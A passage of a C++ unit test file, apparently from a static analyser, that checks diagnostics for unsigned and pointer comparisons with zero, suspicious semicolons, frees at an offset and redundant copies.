{}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string 